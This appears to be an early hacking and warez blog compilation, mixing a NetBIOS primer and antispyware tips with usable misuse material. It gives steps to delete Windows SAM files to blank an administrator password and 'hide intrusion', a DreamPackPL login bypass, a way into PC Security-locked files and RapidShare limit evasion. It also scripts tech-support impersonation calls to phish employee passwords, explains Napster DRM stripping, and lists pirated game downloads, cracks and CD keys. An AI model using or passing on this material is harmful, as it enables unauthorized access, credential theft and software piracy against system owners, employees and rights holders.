Intitle: index.of.winnt

Get the serial number you need ! (For Certain Things)

1) Go to Google.

2) Use Keyword as "Product name" 94FBR

3) Where, "Product Name" is the name of the item you want to find the serial number for.

4) And voila - there you go - the serial number you needed.

HOW DOES THIS WORK?

Quite simple really. 94FBR is part of a Office 2000 Pro cd key that is widely distributed as it bypasses the activation requirements of Office 2K Pro. By searching for the product name and 94fbr, you guarantee two things. 1) The pages that are returned are pages dealing specifically with the product you're wanting a serial for. 2) Because 94FBR is part of a serial number, and only part of a serial number, you guarantee that any page being returned is a serial number list page.

See these example searches:
Code:

"Photoshop 7"+94FBR
"Age of Mythology"+94FBR
"Nero Burning Rom 5.5"+94FBR

boot disk for all window

BootDisks

01-Bootdisk Essentials
02-Bootdisk for MS-DOS V5.00
03-Bootdisk for MS-DOS V6.00
04-Bootdisk for MS-DOS V6.20
05-Bootdisk for MS-DOS V6.21
06-Bootdisk for MS-DOS V6.22
07-Bootdisk for Win98SE (MS-DOS V7.10)
08-Bootdisk for Windows 95a
09-Bootdisk for Windows 95b
10-Bootdisk for Windows 98 Custom No Ramdrive
11-Bootdisk for Windows 98 Second Edition
12-Bootdisk for Windows 98 Second Edition Custom No Ramdrive
13-Bootdisk for Windows 2000 Advanced Server
14-Bootdisk for Windows 2000 Professional
15-Bootdisk for Windows 2000 Server
16-Bootdisk for Windows Millenium
17-Bootdisk for Windows Millenium Custom No Ramdrive
18-Bootdisk for Windows NT 4.0 Server
19-Bootdisk for Windows NT 4.0 Terminal Server Edition
20-Bootdisk for Windows NT 4.0 Workstation
21-Bootdisk for Windows XP Custom Install Disk
22-Bootdisk for Windows XP System Setup Disk

http://rapidshare.com/files/42604437/AWOBD_ByMechoDownload.rar

PC SECURITY HACK

Simple Guide 4 opening files locked by PC Security

Pc security.. one of the most comfortable software to keep ur data protected.. even i use it.. but.. check is out..

First of all the bloody disclaimer

1. Information here is only 4 educational purpose nd u shall be responsible 4 all the damage if any or legal shit that u may Find yourself in ;while using the info here( like an asshole)
2. u understand that u r using the info here 4 yourself only nd not 4 harming anyone in anyway or invading privacy of others. It is also acknowledge that u will not using information here to do anything illegal 4 I shall not be held responsible 4 anything.

What is PC Security?
It is a very good software 4 password protecting ur files , folders , drives ,programs nd 4 that matter the whole computer by www.tropsoft.com.

What can this guide do 4 me ?
Not much but it can help u to open a file protected by PC Security ver.5.1 under
Certain conditions.

What do u mean by "under certain condition" ?
Well u can access file protected by PC Security v5.1 only when the locked file is kept in a folder which is not protected that it is u can see the file kept in a folder nd when u click the file(protected file) it gives u strange messages like " access denied "or the "file is used by another program "which tells u that the file is protected .

How can I unlock files protected by PC Security nd what all do I need 4 it ?
Well all u need is a program called MAGIC FOLDERS nd a cup of coffee to drink while u play. I have used version 1.31You can get MAGIC FOLDERS here www.pc-magic.com
Now find the file that u want to unlock nd see in which folder it is kept nd now

Open magic folders (make sure that u install magic folder before doing all this nd make sure that u don't use the feature called encrypted magic folder which comes with it ;usually it does'nt automatically encrypt the folders but make sure that it does
Not do it automatically (I hope it would 'nt do it automatically as it does'nt do with mine) If you're using a non-english version of Win95/98 u may need the english version of the VB5 runtime files. u can get them at:

http://pc-magic.com/dl.htm if cannot install the magic folder on ur PC u need to download some dll files from above mentioned site.

Now that u have installed magic folder open it nd hide (make that folder invisible )the folder in which locked file is kept nd close the program nd shut down ur computer now when u will reboot then again open the magic folders now u should make the folder that u have just made invisible visible ie. Folder that u have made invisble before rebooting the system now make it visible again nd now open the folder nd click on the file Congrats fh !! the file is opened nd now u have full access to the file.

How Not To Get Hacked

Protect Urself !
Follow These Simple Guidelines n u are done

1. Stop using Internet Explorer and make the switch to Opera, it's more secure, plain and simple.

2. Get Spybot Search and Destroy or Spyware Doctor and immediately update it.

3. Get Adaware SE and immediately update it.
(Use both as a 1-2 punch on infected client computers and between the two there's not much they won't kill)

4. Update your anti virus

5. Boot into safe mode and run all three scans

6. While the scans are going check your registry (Click start --> Run and type regedit to get intot he registry) and look in HKEY_CurrentUser/software/microsoft/windows/currentversion/run & HKEY_Local_Machine/software/microsoft/windows/currentversion/run. Verify that all programs listed are legitimate and wanted.

7. If or when your antivirus scan comes across anything, search for that file name in your registry and delete it.

8. Use explorer to go to the windows/system32 folder and sort by date. If you haven't already done so, make sure you can see the entire file names. click Tools --> Folder Options and unclick the box labeled "Hide extensions for known file types" and under Hidden files and folders click "Show hidden files and folders." However, make sure you choose "Hide protected operating system files" so you don't accidentally remove anything that would cripple your computer.. You are looking for recent files with names ending with .exe and .dll that look suspicious. Major culprits will have gibberish names such as alkjdlkjfa.exe.

9. Once you can get clean scans in safe mode, reboot in normal mode and scan all over again. If you can't get a clean scan in regular mode then you have something more persistant that could take more research.

10. Make sure your firewall doesn't have strange exceptions.

11. If you suspect anything that is going wrong with your computer is the action of a stalker, on a more secure system change all your passwords.

12. If your system has been specifically targeted and hacked you can never be 100% sure that your system is no longer compromised so start with 11, make backups of personal files on the infected system and format and re-install Windows.

Good luck!

RapidShare HACKING

Most Trusted n Complete Working HACK
Simply Copy the CODE given below
Open Command prompt. ( run ->cmd )
Paste the Content There. [ Hope u know how to paste on the cmd Prompt ]
Now try the rapidshare link again
and it wont ask you to Wait for more than ONE minute.

@echo off
echo ipconfig /flushdns
ipconfig /flushdns
echo ipconfig /release
ipconfig /release
echo ipconfig /renew
ipconfig /renew
exit

well it is known trick now nothing new in it

but

Keep checking this page for working Premium Rapidshare "user id" and "passwords"

Keep posting if u know more
thanks

New working trick .. genuine

After searching a lot i found dis amazing thing. its like a proxy browser called TORPAK..it can change ur permanent IP to static IP. so jus wen u restart ur browser u will hav new IP... u can also set intervals between changing ur proxy...so now download mutliple files at d same time......it also has integration of IDM with it..

Easy Way to Delete Rapidshare Cookie

If you logged into Rapidshare with an account that was detected by fraud detection you will need to delete the Rapidshare cookie. You could either:
Delete all the cookies, but this will makeyou have to login back into every website that you told the browser to auto login for you.
Go through every cookie and find that one rapidshare cookie
So, here comes this little trick! You could bookmark this link and click it every timeyou need to delete ONLYRapidshare cookie
. Use a proxy with SwitchProxy and Firefox:

1. Download and install Firefox if you have not already
2. Download and install SwitchProxy
3. Google for free proxies
4. When you hit your download limit, clean your cookies and change your proxy

4. Use an anonymous service:

Running your system through the tor network should in theory work; however, it is difficult to use and setup. Plus, you allow others to run their evil deeds through your system as well by using this systemks.. u need to download Firefox 1.5 for it.. u can get the same by typing "Firefox old apps" in google. begin tor by enabling it on Firefox(right bottom)
(http://www.tkqlhce.com/c2111biroiq57CF767C5769E69880)
Anonymizer is inexpensive, easy to use, but not free. Other pay services would likely work as well.

BELOW TEXT IS NOT TESTED BY ME
The hot new Firefox plug-in takes browser customization to a whole new level by letting users filter site content or change page behaviors.

The glory of open-source software is that it allows anyone with the inclination and the scripting knowledge to get under the hood and hot-rod their computing environment. But most of the time, that advantage is available only to people with the programming skills to make the changes they want. That's where Greasemonkey, a free plug-in for Firefox, comes in -- it simplifies hacking the browser.

Released at the end 2004, Greasemonkey is the latest in a growing arsenal of Firefox customization tools. It changes how Web pages look and act by altering the rendering process. Greasemonkey is to Firefox what aftermarket parts are to cars -- it lets you personalize your browser by making it faster and more powerful or simply by making browsing more aesthetically pleasing. How and why you will use Greasemonkey (and I predict you will, if you don't already) will depend on how you browse now.

CODE
http://greasemonkey.mozdev.org/

1) Install the Greasemonkey extension >>

CODE
http://downloads.mozdev.org/greasemonkey/greasemonkey_0.2.6.xpi

2) Restart Firefox

3) Go to

CODE
http://rapidshare.de/files/1034529/rapidshare.user.js.html

4) Right click on rapidshare.user.js and choose "Install User Script".

Run FireFox.
From File Menu click on Open File then brouse to whereever you saved the 'greasemonkey.xpi' plug-in. Open it, wait a couple seconds for the install button becomes active. Click on it to install this plug-in then CLOSE FIREFOX.
Run FireFox again. From the File Menu click on Open File then brouse to whereever you saved the 'rapidshare.user.js'. Open it. Click the Tools Menu then click on Install User Script then click OK.
Close FireFox.

The script will let you enjoy "no wait" and multiple file downloads

or u can use proxy

Hack Administrator

Hack Administrator

i guess dis dont wrks in XP bt hv tried dis lame stuff on win2000 n it works

I tried this on my College Windows 2000 as well as 2003 here's the hack

NOTE: Requires a boot disk.

Get the command prompt and go to C:\winnt\sytem32\config\ and do
the following commands:
attrib -a -r -h
copy sam.* a:\
del Sam.*

reboot the computer. there should be no administrator password.
just put in administrator and hit enter. replace the sam files to
restore the password to hide intrusion.

Hack Into a Windows XP Computer Without Changing Password

Hack Into a Windows XP Computer Without Changing Password

Another method to login to a password protected Windows even if you do not have the password is by making Windows accepting any passwords.
There is a far better way to get into Windows XP. It is easy and it does not reset the password. Hack into a computer running Windows XP without changing the password and find out all and any passwords on the machine (including admin accounts). You do not need access to any accounts to do this. Of course, do not do this on anyone elses computer without proper authorisation.

Steps to Hack into a Windows XP Computer without changing password:

1. Get physical access to the machine. Remember that it must have a CD or DVD drive.
2Download DreamPackPL HERE.=http://www.myminifile.com/171dreampackpl.ISO
3. Unzip the downloaded dreampackpl_iso.zip and you'll get dreampackpl.ISO.
4. Use any burning program that can burn ISO images.
5. After you have the disk, boot from the CD or DVD drive. You will see Windows 2000 Setup and it will load some files.
6. Press "R" to install DreamPackPL.
7. Press "C" to install DreamPackPL by using the recovery console.
8. Select the Windows installation that is currently on the computer (Normally is "1" if you only have one Windows installed)
9. Backup your original sfcfiles.dll by typing:
"ren C:\Windows\System32\sfcfiles.dll sfcfiles.lld" (without quotes)
10. Copy the hacked file from CD to system32 folder. Type:
"copy D:\i386\pinball.ex_ C:\Windows\System32\sfcfiles.dll" (without quotes and assuming your CD drive is D:)
11. Type "exit", take out disk and reboot.
12. In the password field, type "dreamon" (without quotes) and DreamPack menu will appear.
13. Click the top graphic on the DreamPack menu and you will get a menu popup.

14. Go to commands and enable the options and enable the god command.

15. Type "god" in the password field to get in Windows. You can also go to Passwords and select "Logon with wrong password and hash". This option allows you to login with ANY password. Note: I was unable to bring up the DreamPackPL for the first time because I have Kaspersky Anti-Virus already running in background. I believe most antivirus already labelled this tool as a Hack-Tool. A Hack-Tool is NOT a virus. DreamPackPL helps you bypass the Windows Login screen and it is not destructive.

Winamp Hacking Free Unlimited Music

Using a loophole in a winamp plugin, you can download and burn music from Napster for free.

music CDs, zero dollars*, obtained legally.
*Not including the cost of blank CDs

Practical how to:

0. Download and install Napster, sign up for 14 day free trial.
1. Download and install Winamp
2. Download and install the Winamp Plug-in Output Stacker
3. Open Winamp Options->Plug-ins->Output->Dietmar's Output Stacker->Configure

a. Add out_ds.dll from Winamp/Plug-ins folder
b. Add out_disk.dll from Winamp/Plug-ins folder
c. Select out_disk.dll in the Output Stacker->Configure
d. Set the output directory and output file mode to Force WAV file
e. Exit preferences

4. Load downloaded Napster protected WMAs into your Winamp playlist
5. Press play and each file will be converted to WAV as it plays
6. Burn WAVs to CD with your favorite burning program

Theoretical fun:

Three computers, one fast networked drive, and a few dedicated people: Turning Napster's 14 day free trial into 252 full 80 minute CDs of free music.
New key developments:

-If you use the "Out-lame" Winamp plugin in the Output Stacker in place of "Out-disk", you can convert straight to MP3. It still encodes no faster than realtime, but this is a great way to conserve space. WAV(Out-disk) is still recommended if you are burning CDs and want to keep as much quality as possible. I can confirm that this all works.

-You can run multiple instances of Winamp at once, each converting its own song. Each instance's playback will not interfere with any of the others, illustrating the fact that this is not simply recording the music off of your soundcard. Doing this, you can get FAR MORE than 252 full 80 minute CDs within 14 days. I can confirm that this works.

You can transcode(MP3) or decode(WAV) X albums in the time it takes for the longest track on the album to elapse. And since you're not limited to only tracks from one album at a time, you can trans/decode as many tracks as instances of Winamp your computer will run limited only by your computer's resources.
Quote from Napster's official statement:

"It would take 10 hours to convert 10 hours of music in this manner."
With the updated methods, you can convert 100 hours or 1,000 hours or 10,000 hours of music in 10 hours. The only limit is your computing resources.

4 Trash Collection

Beware!
Giving out Trash may prove a gold mine to Hackers

During Microsoft's landmark antitrust trial in the final years of the twentieth century, fellow software giant Oracle hired detectives to dig up dirt on Microsoft's activities. One of the techniques the detectives attempted was to purchase Microsoft's trash. Though this may not seem a sanitary activity, it can potentially offer an amazing wealth of information.

Almost every office with a common printer prints out separator sheets with a user's name and the file name of the printed document. A healthy percentage of these sheets wind up in the trash, allowing the brave trash diver to identify at least a partial user list and a list of documents associated with those users. Since people generally give descriptive names to their files, this can also offer many suggestive hints as to what projects the company employees may be working on. Additionally, it may offer the format of the user names. This format along with a company directory could give the hacker a sample user list for the
target network.

Further, as employees work on documents, even of a critical nature, they print multiple copies to proofread and make changes. This iterative cycle may yield several printed versions that often do not reach the paper shredder and are instead left in the normal trash. These older versions can still contain a great deal of sensitive information. This is especially true if the final revision was merely for running the spell checker.

Sticky notes often contain a wealth of information. These notes (in yellow and other colors) stand out just as well in trash as they do on a crowded desktop and are a great source of information. On such slips of paper are scribbled names, telephone numbers, and addresses; gift ideas for special occasions; notes from meetings and telephone conversations; and various user passwords. Often valid user names and passwords to
printers, remote servers, file shares, guest accounts, and so on are clearly and neatly written on sticky notes and thrown away when either memorized or no longer needed.

However, the accounts and access privileges are often still valid.
We strongly recommend using caution when going through the trash. Trash can contain sharp objects, caustic chemicals, rotten food, and other unhealthy and potentially dangerous items. If you are going to perform dumpster diving, wear proper protective equipment; latex surgical gloves underneath thick, heavy-duty work gloves are recommended. However, even these two layers of protection may not be enough to guard
against a hypodermic needle. Use caution. If the organization recycles office paper, you will often find the most useful information
there and can avoid the unsanitary conditions of general trash. As for where to dump the trash, please do not dump the contents of the trash receptacle onto your own or a colleague's desktop. Instead, spread a sheet of plastic on a flat surface, dump the trash on the plastic, conduct your examination, and when finished, wrap up the plastic and discard it
again. Going through the trash can be done on a user-by-user basis by collecting individual trash receptacles or on a far larger scale by attacking dumpsters and recycle bins that serve entire divisions or even whole companies

1 Using Telephone

The telephone is the primary tool for social engineering. A talented social hacker can steal more critical information from and cause greater compromise to a target network with a telephone than a team of script kiddies armed with the latest exploit downloaded from the Internet.

This Practice is very common in US Uk and other continents
not in much practice at India but still this is what is happening around and u need to be aware of that. Hence uploading this article.

Before calling, try to get as much specific information on the target network as possible to help you impersonate an informed caller. Using the discovery tools (such as Ws PingPro Pack and Nmap), it is possible to obtain a great deal of information on the target network (such as its IP address ranges, zone transfer, name of mail servers,firewalls, and so on) that may be useful during the telephone conversation. It is not necessary to have any information at all since an obliging target of the attack can be talked into supplying all the information you need. Keep in mind, however, that the less information you have prior to the calls, the more difficult your attempt at social engineering will be. I do recommend that you script out what you are going to say, and the company information you are putting forth, prior to calling.

Among the most common phone techniques are
(1) to pose as a member of an organization's technical support division
(2) to play the role of a disgruntled user seeking a password change.
A third approach is to call the technical support department of a company and enlist their aid in getting a machine connected to their network. While the nuances of these attacks are performed differently by different hackers, the process is largely similar to what is described below.

A better trick!
Beware !! Hutch is being Brought over by (Vodaphone/hinduja/reliance/others) in India this could happen to you

Here's another technique that has worked in the past. When two companies merge,especially those with subscribers or paying customers, you can call customers of either company and pose as an employee of the newly formed company, claiming to be verifying user records. In this process, ask the target for his or her account status (such as account
history, number, and so on).

For example, suppose two telecommunications companies merge. You can pose as an employee of the merged company, call a customer of the company (any firm within the regions of those phone companies), and ask for their telephone number range(s). This information can then be used to perform war dialing(will be explaining in upcoming articles, which can, among other things, identify desktops with unauthorized modems—one of the most significant security holes
throughout America.

Major Tricks ~!~

Technical Support

The goal is to contact a user of the target network and simply keep him or her talking long enough to develop a rapport before asking for his or her password. The general approach is to select a number of employees, say 30, ideally representing varying levels of access to the target network. Employees can be selected at random from a company directory if you have no prior information on the firm.

In this approach, you masquerade as a member of technical support and call unsuspecting employees, claiming to be investigating reports of network congestion in the employees' LAN or subnet and requesting their password in order to conduct tests on the network.

The first step is to call the technical support (or help desk) office and get names of a few people there (or use common names, such as Mike and Chris) and the format of a trouble ticket number. This works best if the technical support functions have been outsourced because company employees will not likely know anyone in technical support.

With this trouble ticket information and a good technical support name, call a target company employee and claim to be investigating reports of network congestion. Hopefully the target is not technically savvy and you can use technical phrases, such as “investigating congestion between the hub and the gateway router for your LAN,” to help convince the target that you are indeed who you say you are. Telling him or her that you are trying to fix the current problem so the target's network connection can be faster may help win the employee over.
Next, engage the employee in running simple “tests” that can be done from the user's desktop.

A popular test is to have the target run ping localhost and ask them to see if the TTL field is greater than 64 (it is usually 128 or 256). You then inform the target that a TTL greater than 64 is indeed indicative of network congestion. A ping of the default gateway is also commonly used, which avoids getting caught by employees knowledgeable enough to
know the localhost is their own machine. At this time, you can obtain the user's IP address and subnet mask as well as the IP address of the default gateway from the target by asking them to run ipconfig (for a Window's host) or ifconfig –a (for a UNIX machine) and read the results to you. You can justify this by stating you need to see if their IP information
corresponds to yours. Running arp –a or the netstat command are other goodtests.

The idea is to keep the user talking, making it just slightly inconvenient for him or her,before finally asking for the password so that you can continue running these “tests”without taking up any more of the employee's time. At any time, if the employee is getting suspicious, politely end the conversation by stating the last test indicated the problem may
not be on their end. Give them the trouble ticket number (make one up following the format received from technical support) and end the conversation. Then you can begin again by calling another employee.
If you happen to reach staff members who have been trained in resisting such attacks or the target happens to be technically proficient, these techniques will be more difficult.

However, in a staff of a large enough size, there are sure to be a few individuals who do not hold to such high standards. In the process of finding them, you may encounter several failed attempts. In that case, it is good to space out the telephone calls between days or, preferably, weeks. This is to avoid raising the suspicions of the target firm. When we were
engaged to perform a social engineering attack for a company with over 10,000 employees, from a random sample of 30 employees, 17 offered their passwords under such an attack.

net bois and all about it

Preface to NetBIOS

Before you begin reading this section, understand that this section was written for the novice to the concept of NetBIOS, but - it also contains information the veteran might find educational. I am prefacing this so that I do not get e-mail like "Why did you start your NetBIOS section off so basic?" - Simple, its written for people that may be coming from an enviroment that does not use NetBIOS, so they would need me to start with basics, thanks.

Whats is NetBIOS?

NetBIOS (Network Basic Input/Output System) was originally developed by IBM and Sytek as an Application Programming Interface (API) for client software to access LAN resources. Since its creation, NetBIOS has become the basis for many other networking applications. In its strictest sense, NetBIOS is an interface specification for accessing networking services.

NetBIOS, a layer of software developed to link a network operating system with specific hardware, was originally designed as THE network controller for IBM's Network LAN. NetBIOS has now been extended to allow programs written using the NetBIOS interface to operate on the IBM token ring architecture. NetBIOS has since been adopted as an industry standard and now, it is common to refer to NetBIOS-compatible LANs.

It offers network applications a set of "hooks" to carry out inter-application communication and data transfer. In a basic sense, NetBIOS allows applications to talk to the network. Its intention is to isolate application programs from any type of hardware dependancies. It also spares software developers the task of developing network error recovery and low level message addressing or routing. The use of the NetBIOS interface does alot of this work for them.

NetBIOS standardizes the interface between applications and a LANs operating capabilities. With this, it can be specified to which levels of the OSI model the application can write to, making the application transportable to other networks. In a NetBIOS LAN environment, computers are known on the system by a name. Each computer on the network has a permanent name that is programmed in various different ways. These names will be discussed in more detail below.

PC's on a NetBIOS LAN communicate either by establishing a session or by using NetBIOS datagram or broadcast methods. Sessions allow for a larger message to be sent and handle error detection and correction. The communication is on a one-to-one basis. Datagram and broadcast methods allow one computer to communicate with several other computers at the same time, but are limited in message size. There is no error detection or correction using these datagram or broadcast methods. However, datagram communication allows for communication without having to establish a session.

All communication in these environments are presented to NetBIOS in a format called Network Control Blocks (NCB). The allocation of these blocks in memory is dependant on the user program. These NCB's are divided into fields, these are reserved for input and output respectively.

NetBIOS is a very common protocol used in todays environments. NetBIOS is supported on Ethernet, TokenRing, and IBM PC Networks. In its original induction, it was defined as only an interface between the application and the network adapter. Since then, transport like functions have been added to NetBIOS, making it more functional over time.

In NetBIOS, connection (TCP) oriented and connectionless (UDP) communication are both supported. It supports both broadcasts and multicasting and supports three distinct services: Naming, Session, and Datagram.

NetBIOS Names

NetBIOS names are used to identify resources on a network. Applications use these names to start and end sessions. You can configure a single machine with multiple applications, each of which has a unique NetBIOS name. Each PC that supports an application also has a NetBIOS station name that is user defined or that NetBIOS derives by internal means.

NetBIOS can consist of up to 16 alphanumeric characters. The combination of characters must be unique within the entire source routing network. Before a PC that uses NetBIOS can fully function on a network, that PC must register their NetBIOS name.

When a client becomes active, the client advertises their name. A client is considered to be registered when it can successfully advertise itself without any other client claiming it has the same name. The steps of the registration process is as follows:

1. Upon boot up, the client broadcasts itself and its NetBIOS information anywhere from 6 to 10 to ensure every other client on the network receives the information.

2. If another client on the network already has the name, that NetBIOS client issues its own broadcast to indicate that the name is in use. The client who is trying to register the already in use name, stop all attempts to register that name.

3. If no other client on the network objects to the name registration, the client will finish the registration process.

There are two types of names in a NetBIOS enviroment: Unique and Group. A unique name must be unique across the network. A group name does not have to be unique and all processes that have a given group name belong to the group. Each NetBIOS node maintains a table of all names currently owned by that node.

The NetBIOS naming convention allows for 16 characters in a NetBIOS name. Microsoft, however, limits these names to 15 characters and uses the 16th character as a NetBIOS suffix. A NetBIOS suffix is used by Microsoft Networking software to indentify the functionality installed or the registered device or service.

[QuickNote: SMB and NBT (NetBIOS over TCP/IP work very closely together and both use ports 137, 138, 139. Port 137 is NetBIOS name UDP. Port 138 is NetBIOS datagram UDP. Port 139 is NetBIOS session TCP. For further information on NetBIOS, read the paper at the rhino9 website listed above]

The following is a table of NetBIOS suffixes currently used by Microsoft WindowsNT. These suffixes are displayed in hexadecimal format.

Name Number Type Usage
==========================================================================
00 U Workstation Service
01 U Messenger Service
<\\_MSBROWSE_> 01 G Master Browser
03 U Messenger Service
06 U RAS Server Service
1F U NetDDE Service
20 U File Server Service
21 U RAS Client Service
22 U Exchange Interchange
23 U Exchange Store
24 U Exchange Directory
30 U Modem Sharing Server Service
31 U Modem Sharing Client Service
43 U SMS Client Remote Control
44 U SMS Admin Remote Control Tool
45 U SMS Client Remote Chat
46 U SMS Client Remote Transfer
4C U DEC Pathworks TCPIP Service
52 U DEC Pathworks TCPIP Service
87 U Exchange MTA
6A U Exchange IMC
BE U Network Monitor Agent
BF U Network Monitor Apps
03 U Messenger Service
00 G Domain Name
1B U Domain Master Browser
1C G Domain Controllers
1D U Master Browser
1E G Browser Service Elections
1C G Internet Information Server
00 U Internet Information Server
[2B] U Lotus Notes Server
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service

Unique (U): The name may have only one IP address assigned to it. On a network device, multiple occurrences of a single name may appear to be registered, but the suffix will be unique, making the entire name unique.

Group (G): A normal group; the single name may exist with many IP addresses.

Multihomed (M): The name is unique, but due to multiple network interfaces on the same computer, this configuration is necessary to permit the registration. Maximum number of addresses is 25.

Internet Group (I): This is a special configuration of the group name used to manage WinNT domain names.

Domain Name (D): New in NT 4.0

For a quick and dirty look at a servers registered NetBIOS names and services, issue the following NBTSTAT command:

nbtstat -A [ipaddress]
nbtstat -a [host]

NetBIOS Sessions

The NetBIOS session service provides a connection-oriented, reliable, full-duplex message service to a user process. NetBIOS requires one process to be the client and the other to be the server. NetBIOS session establishment requires a preordained cooperation between the two stations. One application must have issued a Listen command when another application issues a Call command. The Listen command references a name in its NetBIOS name table (or WINS server), and also the remote name an application must use to qualify as a session partner. If the receiver (listener) is not already listening, the Call will be unsuccessful. If the call is successful, each application receives notification of session establishment with the session-id. The Send and Receive commands the transfer data. At the end of a session, either application can issue a Hang-Up command. There is no real flow control for the session service because it is assumed a LAN is fast enough to carry the required traffic.

NetBIOS Datagrams

Datagrams can be sent to a specific name, sent to all members of a group, or broadcast to the entire LAN. As with other datagram services, the NetBIOS datagrams are connectionless and unreliable. The Send_Datagram command requires the caller to specify the name of the destination. If the destination is a group name, then every member of the group receives the datagram. The caller of the Receive_Datagram command must specify the local name for which it wants to receive datagrams. The Receive_Datagram command also returns the name of the sender, in addition to the actual datagram data. If NetBIOS receives a datagram, but there are no Receive_Datagram commands pending, then the datagram is discarded.

The Send_Broadcast_Datagram command sends the message to every NetBIOS system on the local network. When a broadcast datagram is received by a NetBIOS node, every process that has issued a Receive_Broadcast_Datagram command receives the datagram. If none of these commands are outstanding when the broadcast datagram is received, the datagram is discarded.

NetBIOS enables an application to establish a session with another device and lets the network redirector and transaction protocols pass a request to and from another machine. NetBIOS does not actually manipulate the data. The NetBIOS specification defines an interface to the network protocol used to reach those services, not the protocol itself. Historically, has been paired with a network protocol called NetBEUI (network extended user interface). The association of the interface and the protocol has sometimes caused confusion, but the two are different.

Network protocols always provide at least one method for locating and connecting to a particular service on a network. This is usually accomplished by converting a node or service name to a network address (name resolution). NetBIOS service names must be resolved to an IP address before connections can be established with TCP/IP. Most NetBIOS implementations for TCP/IP accomplish name address resolution by using either broadcast or LMHOSTS files. In a Microsoft enviroment, you would probably also use a NetBIOS Namer Server known as WINS.

NetBEUI Explained

NetBEUI is an enhanced version of the NetBIOS protocol used by network operating systems. It formalizes the transport frame that was never standardized in NetBIOS and adds additional functions. The transport layer driver frequently used by Microsofts LAN Manager. NetBEUI implements the OSI LLC2 protocol. NetBEUI is the original PC networking protocol and interface designed by IBM for the LanManger Server. This protocol was later adopted by Microsoft for their networking products. It specifies the way that higher level software sends and receives messages over the NetBIOS frame protocol. This protocol runs over the standard 802.2 data-link protocol layer.

NetBIOS Scopes

A NetBIOS Scope ID provides an extended naming service for the NetBIOS over TCP/IP (Known as NBT) module. The primary purpose of a NetBIOS scope ID is to isolate NetBIOS traffic on a single network to only those nodes with the same NetBIOS scope ID. The NetBIOS scope ID is a character string that is appended to the NetBIOS name. The NetBIOS scope ID on two hosts must match, or the two hosts will not be able to communicate. The NetBIOS Scope ID also allows computers to use the same computer namee as they have different scope IDs. The Scope ID becomes a part of the NetBIOS name, making the name unique.

games crack + keygen

Games CRacks CD keys

Hint:If you need a key and think that this list is too long and find it difficult to search..

Hit CRTL+F and type in the name of the Game,you'll be there

Supreme Commander
direct download
http://tai61579764.free.fr/themes/npds2004/style/scom/htd-scom.part01.rar
http://tai61579764.free.fr/themes/npds2004/style/scom/htd-scom.part02.rar
http://tai61579764.free.fr/themes/npds2004/style/scom/htd-scom.part03.rar
http://tai61579764.free.fr/themes/npds2004/style/scom/htd-scom.part04.rar
http://tai61579764.free.fr/themes/npds2004/style/scom/htd-scom.part05.rar
http://tai61579764.free.fr/themes/npds2004/style/scom/htd-scom.part06.rar
http://tai61579764.free.fr/themes/npds2004/style/scom/htd-scom.part07.rar
http://tai61579764.free.fr/themes/npds2004/style/scom/htd-scom.part08.rar
http://tai61579764.free.fr/themes/npds2004/style/scom/htd-scom.part09.rar
http://tai61579764.free.fr/themes/npds2004/style/scom/htd-scom.part10.rar

Titan Quest
http://www2.goldenbank.kiev.ua:8080/Files/Games/Titan%20Quest%3A%20Immortal%20Throne%20(Add-on)%20(ENG)/unl-tqit.part1.rar
http://www2.goldenbank.kiev.ua:8080/Files/Games/Titan%20Quest%3A%20Immortal%20Throne%20(Add-on)%20(ENG)/unl-tqit.part2.rar
http://www2.goldenbank.kiev.ua:8080/Files/Games/Titan%20Quest%3A%20Immortal%20Throne%20(Add-on)%20(ENG)/unl-tqit.part3.rar
http://www2.goldenbank.kiev.ua:8080/Files/Games/Titan%20Quest%3A%20Immortal%20Throne%20(Add-on)%20(ENG)/unl-tqit.part4.rar

crack of this----http://www2.goldenbank.kiev.ua:8080/Files/Games/Titan%20Quest%3A%20Immortal%20Throne%20(Add-on)%20(ENG)/Titan.Quest.v.1.30.NoDVD.CRACK-Unleashed.Titan.Quest.Immortal.Throne.NoDVD.CRACK-Unleashed.rar

Football Manager 2007
http://www2.goldenbank.kiev.ua:8080/Files/Games/Football%20Manager%202007/rzr-fm07.bin
http://www2.goldenbank.kiev.ua:8080/Files/Games/Football%20Manager%202007/rzr-fm07.cue
http://www2.goldenbank.kiev.ua:8080/Files/Games/Football%20Manager%202007/fm2007_701.zip

50,000 CD KEYS OF PC GAMES
[/B]

1503 A.D.: A New World
----------------
5447-7278892-7648258-2126
9750-0553133-8300899-5758
2012-1236143-5723266-5867
3475-0914223-0632734-6745
9385-8677964-7296207-4572

1503 A.D.: Treasures, Monsters and Pirates
----------------
7TWN-CFQM-T2B3-7F2K-KEPX
HGEE-77DC-J86W-F9WG-S8FN
V9L4-5L3C-BQKF-J6AJ-JW37
P99R-H5W5-GM62-NETL-URNP
PPDM-UNW3-7VRQ-3NWE-RPE2

Age of Mythology
----------------
XDWXF-2JCVG-VTX6T-6KYQ9-QDC4G
RD4D4-B94XK-QVWFP-K9PJD-GVRV3
QVW83-4MC67-FDPTH-49PT8-6HGRD
P3HM4-WDM27-662XW-9BPTV-CFVMQ
HYQRH-FV79R-RHHPW-23G37-BDM76

Age of Mythology: The Titans
----------------
B23B7-JTKPR-4TQT3-HXGD6-HXY96
T2HB2-G4PK6-MQPDR-CTYPQ-64JK6
XG9Q9-TJCWG-MKV2Q-TGBFK-KP8K6
BQBBY-4T8MK-8TP28-GRHJ4-2RP7G
JXFTX-YRVX6-YRRYQ-PBTXP-4YKHG

Axis and Allies
----------------
1005-493D-C922-17D3
1201-7333-7458-686D
1705-3453-2570-A0F9
1022-7053-5324-7ACC
1627-4420-0243-523D

Battlefield 1942
----------------
6349-9020371-9806846-2830
4964-1668346-7637006-2960
6599-4055214-4745454-2456
2203-7294876-7652422-1340
6801-1528034-1442448-3626

Battlefield 1942: Secret Weapons of WWII
----------------
3QHZ-KBBE-ZPQV-VDS3-U5MA
ANXX-ZKF8-5RZG-SWFK-M2UZ
SST3-A9PL-G7GN-856A-PMAW
QFC4-T7Q6-33EQ-LUHP-96ZP
NH2J-AJ5Y-8JJ9-KFGE-QLKK

Battlefield 1942:The Road to Rome
----------------
0777-4826524-6288328-2359
6413-6941923-0559983-3822
1768-8264649-8295359-3044
0741-8677977-4365014-4911
0256-0695274-2401207-5319

Battlefield Vietnam
----------------
HJSJ-ND22-REVP-QH5N-J67W
WA77-2BMM-2TLG-CR43-2L5M
TPKK-QJ8R-BBVY-4TVM-8XLX
MXZZ-WTZ2-YELT-L8QQ-SGZ2
